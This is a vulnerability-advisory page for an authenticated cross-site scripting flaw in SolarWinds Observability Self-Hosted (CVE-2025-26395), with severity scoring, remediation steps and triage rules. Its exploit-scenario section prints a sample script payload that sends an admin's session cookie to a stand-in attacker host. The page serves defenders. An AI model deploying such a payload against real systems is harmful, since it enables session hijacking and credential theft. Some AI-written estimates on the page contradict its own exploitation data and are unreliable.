Skip to main content

Observability Self Hosted EUVDEUVD-2025-17686

| CVE-2025-26395 HIGH
Cross-site Scripting (XSS) (CWE-79)
2025-06-10 psirt@solarwinds.com
7.1
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 7.1 score reflects a HIGH-severity but moderately-constrained vulnerability. Breaking down the CVSS vector (AV:A/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L): Adjacent attack vector limits exposure, high privileges and user interaction are significant friction factors, but the scope change and high confidentiality impact are concerning. Real-world risk is MODERATE-TO-HIGH because: (1) SolarWinds is widely deployed in enterprise environments, (2) admin accounts are high-value targets, (3) XSS can lead to credential theft, lateral movement, or malware distribution even with the constraints, (4) no KEV or active exploitation data suggests this is not yet weaponized. EPSS data is unavailable here, but given the authentication/interaction requirements, exploitation probability is likely in the 20-40% range. Organizations should prioritize patching but this is not an emergency-tier 0-day. The real risk depends on network segmentation and whether SolarWinds is internet-accessible.

Exploit ScenarioDerived

An attacker with valid SolarWinds admin credentials (obtained via phishing, credential stuffing, or insider access) crafts a malicious URL containing JavaScript in a URL parameter, e.g., https://solarwinds.example.com/admin?dashboard=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>. The attacker sends this link to another administrator via email or chat. When the victim admin clicks the link, the unescaped JavaScript executes in their browser within the context of the SolarWinds admin session, exfiltrating session cookies, API tokens, or credentials. The attacker can then use these stolen credentials to access sensitive observability data, modify monitoring rules, disable alerts, or pivot to monitored infrastructure. Success requires the attacker to have admin access and the victim to click the link—both friction points that reduce but do not eliminate risk in targeted scenarios.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Stored/reflected cross-site scripting (XSS) vulnerability in SolarWinds Observability Self-Hosted caused by insufficient input sanitization in URL parameters. The vulnerability affects authenticated administrators and requires user interaction to exploit, allowing attackers with admin credentials to inject malicious scripts that execute in victim browsers with network-scoped impact (C:H, I:L, A:L). There is no indication of active exploitation in the wild (KEV status unknown) or public proof-of-concept availability based on available data.

RemediationAI

Immediate actions: (1) Apply security patch from SolarWinds when available—check https://www.solarwinds.com/trust-center for advisories and patches; (2) Restrict admin interface access to trusted networks via firewall rules or VPN; (3) Implement Web Application Firewall (WAF) rules to sanitize URL parameters and block common XSS payloads; (4) Enforce Content Security Policy (CSP) headers to mitigate XSS impact even if injection succeeds; (5) Monitor admin account activity and browser sessions for unusual access patterns; (6) If patch is unavailable, implement input validation/encoding at the application level for all URL parameters. Workaround: disable or restrict access to affected URL-based features until patched.

Affected VersionsENISA

SolarWinds Observability Self-Hosted 2025.1.1 and previous versions

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability stems from CWE-79 (Improper Neutralization of Input During Web Page Generation), a classic web application flaw where user-supplied input from URL parameters is not properly sanitized before being reflected or stored in HTML output. SolarWinds Observability Self-Hosted, a monitoring and observability platform, fails to encode or validate URL-based input fields before rendering them in responses. This allows attackers to inject arbitrary JavaScript that executes in the context of authenticated admin sessions. The vulnerability requires admin-level privileges (PR:H) and user interaction (UI:R), suggesting the attack vector is adjacent network (AV:A), likely requiring the attacker to be on the same network segment or through a socially-engineered link shared with an administrator.

Know when Observability Self Hosted gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 7.1 HIGH
AV:A/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
Low

Lifecycle Timeline

2
Patch released
Mar 14, 2026 - 19:49 nvd
Patch available
CVE Published
Jun 10, 2025 - 15:15 nvd
HIGH 7.1

DescriptionCVE.org

SolarWinds Observability Self-Hosted

was susceptible to a cross-site scripting (XSS) vulnerability due to an unsanitized field in the URL. The attack requires authentication using an administrator-level account and user interaction is required.

Executive ViewAI

Why It Matters

SolarWinds Observability Self-Hosted deployments face a cross-site scripting vulnerability that could allow authenticated administrators to execute malicious scripts. While the attack requires administrator credentials and user interaction, successful exploitation could compromise system integrity and lead to lateral movement within the monitoring infrastructure.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Controlled
Automatable· derived
No
Human Impact
High

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy